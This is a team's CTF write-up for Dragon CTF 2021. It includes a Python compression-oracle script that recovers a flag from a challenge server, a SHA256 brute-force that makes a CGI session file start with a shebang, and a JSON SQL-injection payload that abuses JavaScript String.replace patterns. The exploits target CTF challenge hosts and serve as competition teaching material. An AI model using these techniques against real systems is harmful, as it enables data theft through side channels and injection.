Dragon CTF 2021

Crypto

CRC Recursive Challenge

Code

Misc

Compress The Flag

bookgin

We got firstblood of this challenge!

If the charater we guessed is correct, zlib compressed size will remain the same.

#!/usr/bin/env python3
import socket
import string
chars = string.ascii_uppercase + 'grn{}'

def get_zlib(res):
    for l in res.decode().splitlines():
        if 'zlib' in l:
            return int(l.strip().rpartition(' ')[-1])
    assert False

def guess_with_prefix(flag):
    if len(flag) == 25:
        print(flag)
        import random
        random.seed(0)
        l = [i for i in range(25)]
        random.shuffle(l)
        print(l)
        new_l = [None for _ in range(25)]
        for src, dst in enumerate(l):
            new_l[dst] = flag[src]

        print(''.join(new_l))
        # DrgnS{THISISACRIMEIGUESS}
        exit(0)
    print('guess prefix ' + repr(flag))
    gz2cs = {}
    for c in chars:
        print('g', c)
        guess = (flag + c) * 30
        s.sendall(('0:' + guess + '\n').encode())
        gz = get_zlib(s.recv(4096))
        gz2cs[gz] = gz2cs.get(gz, '') + c
    min_gz = min(gz2cs.keys())
    if len(gz2cs[min_gz]) == len(chars):
        print('give up prefix ' + repr(flag))
        return
    for c in gz2cs[min_gz]:
        guess_with_prefix(flag + c)


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    #s.connect(('127.0.0.1', 1337))
    s.connect(('compresstheflag.hackable.software', 1337))
    s.recv(1024)
    guess_with_prefix('')

CTF Gateway Interface

written by bookgin, solved by ginoah

In the session file, though we can run it through /cgi-bin/session_<HEX>, but the content is a SHA256 hash which cannot be easily controlled.

Fortunately, in order to get the flag, we just need to run ./x. Therefore, we can brute-force the hash to make the start of the hash become shebang #!x\n.

Brute-force 4 bytes in SHA256 is doable.

#!/usr/bin/python3
import hashlib
import os
import sys
import random
SALT = b"SaltyMcSaltFace"

while True:
    password = str(random.randint(0, 0x100000000000000)).encode()
    hash = hashlib.sha256(SALT + password).digest()
    if hash.startswith(b'#!x\n'):
        open('log', 'a').write(repr(password) + ':' + repr(hash[:4]) + '\n')
        
# 53594042019754885 - > #!x\n

Next, visit the following link to run x and retrieve the flag.

/cgi-bin/startAuth.cgi?password=53594042019754885
/cgi-bin/session_bab090dafa836740e3b10e4f7ad167988afb06f2

Flag: DrgnS{valisMadeMeChangeTheFlagPfff}

Web

Webpwn

written by bookgin, solved by Paul Huang, kaibro, ginoah

javascript String.replace supports some interesting feature. This bug/feature is even present in CTFd

session is aac762ef0044d46ad245622acf5c6f35. Here is the payload:

{
    "key":"IS NULL),($$$$e2$$$$,$$$$aac762ef0044d46ad245622acf5c6f35$$$$,(select flag from flag))--",
    "data":"$`"
}

flag is in the note of e2 DrgnS{Everything_is_easy_wh3n_y0u_have_$$$_4b8c61}

Pwn

Shellcode_verifier

script

Dragonbox

script